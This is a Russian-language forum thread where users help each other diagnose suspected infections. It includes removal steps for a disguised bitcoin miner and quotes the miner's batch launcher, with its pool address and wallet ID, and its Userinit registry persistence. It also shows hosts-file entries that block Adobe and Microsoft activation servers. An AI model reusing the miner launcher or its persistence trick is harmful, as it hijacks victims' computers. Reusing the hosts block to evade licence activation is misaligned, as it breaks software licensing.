Вирусы, помогаем избавляться от болячек Поделиться Опции

[J()KER]

Недавно зашел на сайт

Первый в списке

https://www.google.com.ua/search?client=ope...366&bih=602

[close]

А после этого опера иногда перестает понимать https (другие браузеры в это время с ними нормально дружат) помогает переподключение интернета. Подозреваю во всем файл windows\system32\lsass.exe (скрины прикрепил)
Помогите определить, кто шарит, вирус это или нет

Сообщение отредактировал J()KER - 3.2.2013, 19:21

[Osta]

Google Safebrowsing Malware site

https://www.virustotal.com/#url

[Andy51]

J()KER, https://www.virustotal.com что говорит?

[VINRARUS]

У меня он тоже висит в процесах.

[Claus398]

у меня также(

[J()KER]

VINRARUS, Claus398, прекратить панику, он и должен висеть в процессах, так как это системная служба винды, просто на моей машине подозреваю что этот файл заражен
Osta, и что это значит?
Andy51, сказал что файл не заражен
еще прогоню cureit для надежности, посмотрю что он скажет

Сообщение отредактировал J()KER - 4.2.2013, 0:51

[VINRARUS]

просто на моей машине подозреваю что этот файл заражен

дату изменения глянь (хотя умный вирус сделает все как нада ).

прекратить панику

[J()KER]

Похоже отбой воздушной тревоги. CureIt тоже ничего не нашел, только удалил из файла hosts это

Код

127.0.0.1 validation.sls.microsoft.com
127.0.0.1 activate.adobe.com
127.0.0.1 practivate.adobe.com
127.0.0.1 ereg.adobe.com
127.0.0.1 activate.wip3.adobe.com
127.0.0.1 wip3.adobe.com
127.0.0.1 3dns-3.adobe.com
127.0.0.1 3dns-2.adobe.com
127.0.0.1 adobe-dns.adobe.com
127.0.0.1 adobe-dns-2.adobe.com
127.0.0.1 adobe-dns-3.adobe.com
127.0.0.1 ereg.wip3.adobe.com
127.0.0.1 activate-sea.adobe.com
127.0.0.1 wwis-dubc1-vip60.adobe.com
127.0.0.1 activate-sjc0.adobe.com

что я потом благополучно вернул на место)

Сообщение отредактировал J()KER - 4.2.2013, 5:01

[J()KER]

Месяц назад где-то подхватил на свой ноут DiabloMiner-Windows.exe немного замаскированный правда
Ничего не замечал, пока не обновил джаву - система даже в простое не снижала оборотов кулера. Полез в диспетчер задач и нашел виновника - java.exe, не долго думая удалил джаву и ребутнул ноут, после того как винда стартанула открылся браузер и предложил... скачать яву .
Немного погуглив нашел человека с точно такой же траблой, как в его случае выяснилось во всем был виноват DiabloMiner-Windows.exe ( как я понял она считает биткоины, тоесть ктото за счет чужих мощностей пытается денюжку заработать). После прочтения форума откопал на харде ProcessExplorer, снова установил яву и ребутнул комп. Ситуация повторилась - java.exe загрузилось и начало нагружать проц и видеокарту. С помощью ProcessExplorer выяснил, что в моем слуыае орудует все тот же DiabloMiner-Windows.exe, только немного другой модификации
Вобщем, вот список файлов которые я у себя нашел и которые нужно удалять:
mtconf.exe
mtconf.ini
system.vbs
system.bat
И папку target
Все эти радости находятся в %WINDIR%\SysWOW64, на 32 битных системах искать нужно в %WINDIR%\System32
Также нужно удалить из автозагрузки (я не заморачивался и удалил CCleanerom) ключ реестра который сназывается Userinit и содержит путь "C:\Windows\system32\system.vbs"

И еще: вот содержание system.bat

Код

cd C:\Windows\system32\
mtconf.exe -u 1PcAyiafGF2kRKcUEfikqFaApfjY7vKwqo -o pool.50btc.com -r 8332 -v 2 -w 128 -f 400

1PcAyiafGF2kRKcUEfikqFaApfjY7vKwqo - это я так понимаю id пользователя, его по этому id найти никак нельзя и чем нибудь нашкодить?

______
PS. Не отключайте UAC =)

Сообщение отредактировал J()KER - 4.8.2013, 15:34

[Venik]

1PcAyiafGF2kRKcUEfikqFaApfjY7vKwqo

Отличный пароль, кстати